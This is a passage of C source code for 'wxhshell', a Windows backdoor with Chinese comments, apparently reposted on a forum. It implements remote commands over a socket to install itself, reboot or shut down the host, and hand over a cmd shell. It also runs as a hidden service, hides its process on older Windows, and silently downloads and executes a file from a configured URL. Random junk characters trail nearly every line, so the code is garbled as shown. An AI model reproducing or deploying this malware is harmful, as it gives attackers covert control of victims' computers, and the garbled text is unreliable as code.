    switch(cmd[0]) { U#`2~Qv/1  
  D*'sOB(  
  // 帮助 B\tm  
  case '?': { iL|5}x5\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ujf7r`;u.  
    break; M'JCT'(X  
  } N!./u(b  
  // 安装 :}CcWfbT  
  case 'i': { T%aM~dp  
    if(Install()) [e o=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UAGh2?q2  
    else &q +l5L"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C=t9P#g*.  
    break; O*yA50Cn  
    } h0")NBRV&  
  // 卸载 pGr4b:N  
  case 'r': { ,I H~  
    if(Uninstall()) vCUbbQz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7n*"9Ai(  
    else AWg'J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "A0y&^4B@  
    break; Bm;: cmB0e  
    } 0,B"p  
  // 显示 wxhshell 所在路径  |CAMdU  
  case 'p': { SPm2I(at7  
    char svExeFile[MAX_PATH]; <j1r6.E)  
    strcpy(svExeFile,"\n\r"); "JE->iD  
      strcat(svExeFile,ExeFile); %~[@5<p  
        send(wsh,svExeFile,strlen(svExeFile),0); pJIJ"o'>.9  
    break; o%*C7bU  
    } 7C wWf  
  // 重启 S R s  
  case 'b': { .\ :MB7p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N~P1^x~  
    if(Boot(REBOOT)) :q~5Xw/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VAA="yN  
    else { ^].U?t.n)  
    closesocket(wsh); D^6Q`o  
    ExitThread(0); jp|*kBDq\  
    } 4I#@xm8)  
    break; qMw_`dC  
    } In8{7&iVO  
  // 关机 9CAu0N5<  
  case 'd': { 7rG+)kHG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jp= )L  
    if(Boot(SHUTDOWN)) 7>h(M+ /  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ii<k<Bt,  
    else { ~V0 GRPnI  
    closesocket(wsh); \jb62Jp  
    ExitThread(0); +No` 89Y  
    } {^k7}`7,  
    break; o#>Mf464I  
    } l| y.6v  
  // 获取shell DVf}='en8  
  case 's': { 5n1`$T.WG  
    CmdShell(wsh); L`(\ud  
    closesocket(wsh); ' H4m"  
    ExitThread(0); yCuLo`  
    break; @d:GtAW  
  } Gl"hn  
  // 退出 (M<l}pl)  
  case 'x': { gf}*}8D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;@ G^eQ  
    CloseIt(wsh); LW#U+bv]Dq  
    break; FAX[| p  
    } }z,9!{~`  
  // 离开 eZD"!AT  
  case 'q': { }2S)CL=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {R"mvB`  
    closesocket(wsh); {`-AIlH(  
    WSACleanup(); Hp5.F>-  
    exit(1); -2'+GO7G  
    break; CR;E*I${  
        } nw#AKtd@x  
  } Nw(hN+_u  
  } Qg0%r bE  
(" +clb`  
  // 提示信息 {,1>(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8 |Ob7+  
} <[w5M?n8  
  } hj{)6dBX%  
bYqv)_8  
  return; ;+bF4r@:+  
} #m;o)KkH$r  
CH q5KB98+  
// shell模块句柄 Uy*d@vU9c  
int CmdShell(SOCKET sock) A 8-a}0Gh  
{ N1$PW~)Y  
STARTUPINFO si; 1K(mdL{m5  
ZeroMemory(&si,sizeof(si)); PF#<CF$=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  P1)87P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `P <#kt  
PROCESS_INFORMATION ProcessInfo; IusZYB  
char cmdline[]="cmd"; :*^aSPlV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A%x0'?GU  
  return 0; FHEP/T\5  
} 3177R>0  
j-VwY/X  
// 自身启动模式 UZ "!lpg  
int StartFromService(void) sbhzER  
{ [rW];H8:~  
typedef struct x-W~&`UU  
{ j"fx|6l)  
  DWORD ExitStatus; q8n@fi6  
  DWORD PebBaseAddress; y#8 W1%{x  
  DWORD AffinityMask; i`W~-J  
  DWORD BasePriority; QcJC:sP\>  
  ULONG UniqueProcessId; C%{2 sMJz  
  ULONG InheritedFromUniqueProcessId; 78 ]Kv^l^_  
}   PROCESS_BASIC_INFORMATION; ;?q}98-2  
< Wp)Y  
PROCNTQSIP NtQueryInformationProcess; \3"B$Sp|=  
Vw.)T/B_D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G B"Orm.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !"&-k:|g  
bC98<if  
  HANDLE             hProcess; =qpGAv_#  
  PROCESS_BASIC_INFORMATION pbi; k+*pg4 '  
|QMmF"0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `& '{R<cL  
  if(NULL == hInst ) return 0; 2.=u '  
C`.eJF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G e5Yz.Q v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l)~ U8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2`j{n \/  
A{M7   
  if (!NtQueryInformationProcess) return 0; iOSt=-p  
gs=ok8w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "C(yuVK1G  
  if(!hProcess) return 0; B}.:7,/0  
nK)1.KVN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *|y$z+g/  
WRwx[[e6z  
  CloseHandle(hProcess); Hc[@c)DH  
;yyR_N S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +\;Ro18?  
if(hProcess==NULL) return 0; W7gY$\1<&  
4:^MSgra  
HMODULE hMod; 7l[ @c|e  
char procName[255]; i$`o,m#  
unsigned long cbNeeded; 12?!Z  
r:$*pC&{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m#i4_F=^b  
e|5@7~Vi  
  CloseHandle(hProcess); I/!AjB8W4  
t&F:C  
if(strstr(procName,"services")) return 1; // 以服务启动 +rA#]#hN  
GAZRQ  
  return 0; // 注册表启动 4;3Vc%  
} GB<.kOGQ[  
{ Ie~MW  
// 主模块 Di27=_J  
int StartWxhshell(LPSTR lpCmdLine) 023uAaI^3r  
{ =:zPT;K  
  SOCKET wsl; XjP &  
BOOL val=TRUE; /#SfgcDt  
  int port=0; 8 hhMuh  
  struct sockaddr_in door; B|yz~wu S  
8F[ ;ma>Z8  
  if(wscfg.ws_autoins) Install(); 4nP4F +  
*s-s1v  
port=atoi(lpCmdLine); );_/0:  
oU @!R  
if(port<=0) port=wscfg.ws_port; U<Qi`uoj!  
+N7<[hE;  
  WSADATA data; lJ]QAO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K*2s-,b *  
u\= 05N6G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Otx>S' 5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <[-{:dH,5  
  door.sin_family = AF_INET; I)vR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z 4i5,f  
  door.sin_port = htons(port); Ha/Qz'^S;  
=Ul"{T<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  S.B?l_d^  
closesocket(wsl); m@+QC$6S  
return 1; 8~t8^eBg  
} 27+faR  
0^nF : F  
  if(listen(wsl,2) == INVALID_SOCKET) { 0Z]HH+Z;  
closesocket(wsl); Ba5*]VGG  
return 1; O(2c_!d  
} Eu~1t& 4  
  Wxhshell(wsl); o<txm?+N  
  WSACleanup(); ,H,[ )8  
 f+ !J1  
return 0; Y?7GFkIP$  
~av#r=x  
} LAnC8O  
!OQ5AF$  
// 以NT服务方式启动 4)k-gKS*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q5hE S  
{ mSYm18   
DWORD   status = 0; >5Lp;  
  DWORD   specificError = 0xfffffff; gq 3|vzNZ  
V*fv>f:Yv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .w@B )f*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +Ek1~i.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9W]OtSG  
  serviceStatus.dwWin32ExitCode     = 0; 8Dtpb7\o  
  serviceStatus.dwServiceSpecificExitCode = 0; UcD<vg"p  
  serviceStatus.dwCheckPoint       = 0; Ayg^<)JWh  
  serviceStatus.dwWaitHint       = 0; SCe$v76p#  
r-xP 6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lw}7kp4 2F  
  if (hServiceStatusHandle==0) return; ?PTXgIC  
ILl~f\xG)  
status = GetLastError(); ! l0"nPM=  
  if (status!=NO_ERROR) .{ljhE:  
{ cF=WhP*f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cN?/YkW?]  
    serviceStatus.dwCheckPoint       = 0; %+,*$wk#*  
    serviceStatus.dwWaitHint       = 0; PN 8#T:E  
    serviceStatus.dwWin32ExitCode     = status; 7NWkN7:B  
    serviceStatus.dwServiceSpecificExitCode = specificError; _F`JFMS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [kqtkgK$j2  
    return; [q3zs_nz  
  } <;W-!R759  
DCZG'eb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y/I)ECm  
  serviceStatus.dwCheckPoint       = 0; $oM>?h_ =  
  serviceStatus.dwWaitHint       = 0; |ka/5o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1W\wIj.  
} ^VG].6  
1P1h);*Z  
// 处理NT服务事件,比如:启动、停止 EmrkaV-?k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LL (TD&  
{ .zt&HI.F  
switch(fdwControl) vk X+{n  
{ 0L8fpGJ  
case SERVICE_CONTROL_STOP: k+?gWZ \  
  serviceStatus.dwWin32ExitCode = 0; GiM-8y~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Dt(D5A  
  serviceStatus.dwCheckPoint   = 0; OaY89ko  
  serviceStatus.dwWaitHint     = 0; ){#INmsF  
  { pg7~%E4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Me? I8:/  
  } z#PaQp5F  
  return; ru9@|FgAE  
case SERVICE_CONTROL_PAUSE: ( >ze{T|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F <6(Hw#>  
  break; }v|_]   
case SERVICE_CONTROL_CONTINUE: +_pfBJ_$%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fp@>(M#3  
  break; F7*)u-4Yn  
case SERVICE_CONTROL_INTERROGATE: ^M q@} 0  
  break; [pm IQ228  
}; ~+t@7A=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u*I'c2m  
} Q8h0.(#-  
=. \hCgq  
// 标准应用程序主函数 :2==7u7v?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^t7u4w!  
{ ]>Z9K@  
||wi4T P  
// 获取操作系统版本 0(f+a_2^Q  
OsIsNt=GetOsVer(); n-jPb064  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,vf#e= Z  
'm6bfS^T  
  // 从命令行安装 Lp(`m=;O  
  if(strpbrk(lpCmdLine,"iI")) Install(); hbvcIGaT  
'1b)(IW  
  // 下载执行文件 6.KEe^[-  
if(wscfg.ws_downexe) { ] L#c <0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jh&DL8`  
  WinExec(wscfg.ws_filenam,SW_HIDE); M@h"FuX:  
} #;^UW  
`Ji WS  
if(!OsIsNt) { =Hd#"9-  
// 如果时win9x,隐藏进程并且设置为注册表启动 0KgP'oWvY  
HideProc(); V?G%-+^  
StartWxhshell(lpCmdLine); E' `;  
} yn]Sc<uK  
else Lhux~,EH  
  if(StartFromService()) OOXSJE1  
  // 以服务方式启动 2P8wvNDG  
  StartServiceCtrlDispatcher(DispatchTable); w5PscEc  
else %(khE-SW  
  // 普通方式启动 fw,,cu`YA  
  StartWxhshell(lpCmdLine); m{RXt  
%} zkmEY.e  
return 0; [Z:P{yr  
}
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只看该作者 1 发表于: 2006-10-10
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